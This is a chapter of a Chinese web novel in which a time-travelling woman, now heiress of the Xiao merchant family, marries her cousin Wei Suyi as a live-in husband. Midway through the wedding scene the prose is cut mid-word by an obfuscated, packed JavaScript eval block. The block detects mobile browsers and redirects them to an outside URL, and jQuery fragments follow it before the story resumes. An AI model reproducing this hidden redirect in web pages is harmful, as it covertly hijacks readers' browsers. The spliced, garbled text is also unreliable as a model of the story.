三月,正值春意浓时,新芽渐萌,绿柳垂丝。是年,时和岁丰,海晏河清,故今年的元宵格外热闹喜庆,就连扬州最繁华的西巷都接连开了好几家铺子,鞭炮声不绝于耳。
西巷主街,各个食肆、布庄及茶馆都在借着新春气象实惠售卖,街边铺子外人挤着人,寸步难行,喧闹声此起彼伏。
人一多,这话茬便在你推我搡间说起来了。
“哎?这西巷的东西素来昂贵,怎的刚开春便这般贱卖了?难怪娘子一早就催着让我来扯布。”
“你这都不知?咱们扬州西巷一大半都姓萧,眼下萧家婚事在即,萧家主君才赔本赚吆喝,给自家小女添喜气。”
“萧家嫁女?嫁的哪家啊!”
“兄台此言差矣,不是嫁女,是赘婿!赘的是魏氏娘家姐姐的亲儿子!那儿郎颇有才智,长得亦是一表人才,偏生爹娘早亡,家道中落。”
“呀,咋嫁......赘这样的命格的儿郎,她家这样的富贵,什么样的男儿没有?”
“萧家女儿先前有个哥哥和姐姐,结果都早夭了,萧家如今只有这么一个女儿,说不好谁克谁,许是这样八字更相合呢。”
“无关八字的事!那萧家女儿生性软弱,怯懦胆小,担不起萧家的大事,但就这一个女儿,以后家业自当落在她身上,所以给她赘一个能担事的自家表亲,以后萧家夫妇百年以后能照应着些。”
“啧......说起来,他们萧家祖辈也就这一支子嗣单薄了些。萧家主君的几位哥哥弟弟谁家里不是好几个儿子,光是论堂哥,萧家小女便得连着叫上十几号名字......她家这般,的确该找个顶事的赘婿啊!”
挤在街巷里的人话赶话的越说越急,直到一旁的点心铺子里传出一声吆喝:“今日新出炉的喜饼人人有份,不取分毫,仅供三百个,送完为止,大伙要的尽管排好队!”
话音一落,什么闲话都没了,各个争先恐后地在点心铺前排队领饼,哄闹一团。
此刻,茶馆二楼包房雅座中盘腿而坐的女子收回落在窗外的目光,不耐落下手上的茶盏,任茶水泼溅在黑木茶桌上,“楼下动静太大,嚷的人心烦。”
一旁侍女会意,立刻上前将窗户合好,重在茶盏里添了一些滚水,
大半声音隔绝在外,女子才稍缓和了些燥意,将茶盏捧起轻抿。
侍女端详了些时间,小心翼翼地开口催促:“姑娘,咱们回去吧,府上新送来的婚服你还没试过。临着大事在即,有好些事张罗呢,眼下主君和主母忙的不可开交,一会不见姑娘的人,又要怪罪我了。”
侍女说着将头垂下去,神色万分无奈。
从前自家姑娘听话懂事,便是吃喝穿衣的小事都无不听取父母的,如今到了婚姻大事上,不知怎的突然有了拒婚的心思,这几日愈发乖张起来,溜门撬锁地要出来,叫人半点法子没有,只得仔细跟着。
“啪!”又是落下茶盏的声音。
侍女吓得一哆嗦。
楼下的人议论的主角萧子楚不耐起身,勾手示意侍女跟上。
她的话喋喋不休落在侍女耳中:“春衫,西巷的这些铺子这般火热,营收应该不错吧,你去知会管家一声,账本送到我这里来让我瞧瞧。还有落樱巷的那几间铺子的账本,我也一并看了,那落樱巷虽不及西巷热闹,总归是咱们扬州城的老街,也是有招牌有客流的,怎的就能让经营得入不敷出?还有......”
跟在身后的侍女一面听着,一面随萧子楚下了楼结了账,却在跟到马车跟前时忍不住低声打断:“姑娘,管家我可支使不动。何况,主君已经说了,待姑娘成婚后,才叫掌柜将账本送入姑娘房中。”
萧子楚稍愣,而后一把掀开马车的轿厢帘子,不等车夫放下马墩子便抬大步上去一屁股坐在里面,碎碎念道:“什么都要等我成婚才让我管,不就是觉得我不堪大用,那账本哪里是让我看的,分明是让表哥来看,到底我是萧家的接班人,还是他?”
马车行驶起来,碎碎念仍未停息:“不就是让我成婚吗,待我赘个夫婿回来看你们还有什么话说。”
西巷过于拥堵,待萧子楚坐的马车到萧家后院时,萧家夫妇已经在前堂正襟危坐。
萧子楚入了前堂的门,一进门便看到萧家主君萧业和母亲魏氏严肃的脸,萧子楚怯怯进去,还未找理由,魏氏率先破了功,眼里的担忧和宠溺溢了出来:“女儿,娘知道你是大婚在即,心里紧张,但你马上就是要赘婿的人了,万不能再孩子心性,咱们萧家以后还要靠你呢。”
萧子楚总觉得这话有点耳熟,仔细回味,才想起曾经在现代,她妈也经常这样跟她哥哥说。
她对现在的生活太过习惯,以至于差点忘了自己是一个多月前从现代穿越而来,那时她作为一个大龄女白领被催婚催得焦头烂额,顶不住父母以死相逼嫁给他们心目中的好女婿,谁想新婚当天正在走红毯的她一脚踏空,转头就摔成了萧家独女萧子楚。
萧子楚是萧家独女,一人独揽父母的宠爱,家里的家产是她的,府里上上下下都听她的,简直就是她的梦中人生。
但古今中外恐怕唯有催婚一事难以应对,她刚穿过来还没从富贵生活的甜蜜中缓过味,就被告知父母早就给她择选好了一位赘婿,不日便要进门了。
听到这个通知,萧子楚如临大敌。现代躲不过去的,如今又要重蹈覆辙,未免太过窝囊,于是这几日总是想着法的跟萧家夫妇商量退婚之事,但每次都被劈头盖脸地驳斥回来。
被拒绝多次后,萧子楚如今也想明白了,赘婿跟娶妻是一样的,若不成这个家,便不是父母眼中能担家业的好儿女,所以总要有此一遭。
听说那赘婿表哥家贫如洗,待他入门,她就好吃好喝养着,做自己的事情,这样也不算辜负。
“是了,女儿以后会学着稳重,担起萧家。”萧子楚乖顺应和魏氏,魏氏果然露出欣慰的神色。
萧子楚心下不由想,甭管她如何不成器,只需成个婚,便立刻成了独当一面的当家人,这样的待遇身为女子她可从未享受过,仔细一琢磨倒是好事。
表哥她虽然从来没见过,但做赘婿的再怎么样,总不能比现代父母给她选的大腹便便的男人差吧。
再不济,独守空房便是了,有萧家的金山银山在,日子总差不到哪里去。
萧家夫妇见萧子楚松了口,心里一颗石头落了地,便也不再说旁的,只安心准备婚事。
萧子楚心里惦记的是萧家的经商权,没将这事放心上,浑浑噩噩了几日后,突然就被人告知要沐浴更衣迎娶赘婿了。
三月二十二,大吉,宜嫁娶。
这日是一个艳阳天,院中放置的各色花卉散着清幽芬芳,一切都那么恰好。
入目一片红色,人人喜气洋洋。
萧子楚一早着了婚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563611|204630||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
服,却并不用像寻常出阁那般施妆打扮,只施施然用了早饭静候赘婿进门。
赘婿与寻常女子不同,因是男儿,故是骑着鲜红色马驹绕城一圈后再登门,届时萧子楚需门前等候,夫妻再持牵红进门叩拜父母天地,礼成后其余一切从旧。
萧子楚对这位连原身都经年不见的表哥没什么感情,更不知他高矮胖瘦,这会子毕竟是自己终身大事,不免觉得心乱紧张,临着婚时便坐不住,速速去门口候着。
刚到门口,她就听着远处传来一阵鞭炮噼啪的声音。
她不由探出脑袋去瞧,甚至踮了脚尖。
听着鞭炮声越来越近,手攥成拳一下下砸在手心,面上浸了层薄汗,刚施的粉黛也浮了起来,帕子一擦就蹭下些许铅粉。
古代的妆品质量效果都太差,如果稍加改良定能成为好卖品。
这想法只出现片刻就被成婚的紧张盖了过去。
鞭炮声越来越近,该来的还是来了。
只见一队人马从巷子转角处拐过来,唢呐、锣鼓声似是马上的人出场的奏乐,马上人唇角荡漾的浅笑入了萧子楚眼帘。
魏苏逸出现时,满院子像失了春色,马蹄缓步踏进萧子楚心里。
不知何时,萧子楚身侧挤满了一群宾客。
“这魏家儿郎好颜色呐,端的是俊逸非凡。”
“是呐!当真俊俏,一袭红衣满目春光,倒不像成亲,像状元郎。”
“说起状元郎,听说魏家儿郎年纪轻轻便中了秀才,甚有才学,说不定日后真能谋个好功名呢!”
“有功名也未必是好事,到时候插了翅膀飞了,谁还能安心做这萧家赘婿。”
“我说老李,婚宴还没开始你倒吃醉酒了!大喜的日子说什么呢!”
萧子楚没功夫听身边的议论,她满心满眼都挂在朝着自己徐徐行来的魏苏逸身上。
待魏苏逸走近下了马,以高出她一头多的姿态与她对视时,她更是满意到了极点。
不光长得好看,身材更是没得说!
她不住在心里高喊“yes!”,脸上的满意根本藏不住。
“相......相公。”萧子楚略垂眸子,这一声“相公”叫的娇滴滴。
魏苏逸突觉受宠若惊,入门前他隐约听到过萧家府上的消息,听说萧子楚对他不甚满意,为此惴惴不安了好几日,如今看萧子楚的态度,他的一颗心也算放了下来。
魏苏逸随即笑容舒展,亦是不卑不亢地回应了一句:“娘子。”
两人照面后,随着媒公一句:“吉时已到。”
二人各自牵着牵红一头款款走入前堂。
前堂处萧家父母已在候着,魏苏逸敬茶、问安,又听了萧家父母几句吉祥嘱托,便改口唤了“爹”、“娘”。
萧家父母本就对魏苏逸这个赘婿十分满意,一唤便殷切答应。
期间魏氏也不住窥看萧子楚神色,见她满眼娇羞,唇角微勾,对这个女儿又是宠溺又是无奈。
三扣礼成后,萧子楚同魏苏逸一同敬酒接待宾客。
敬酒敬到一桌青中年男儿的时,萧子楚隐约感受到了硝烟的气息。
这一桌都是堂亲哥哥们,萧子楚穿越后很久才将他们悉数认全。
虽然在场十一位堂哥性格各异,却鲜少有几个温和的,一论到萧家家业归属,便各个形似豺狼,无一不希望从中分一杯羹。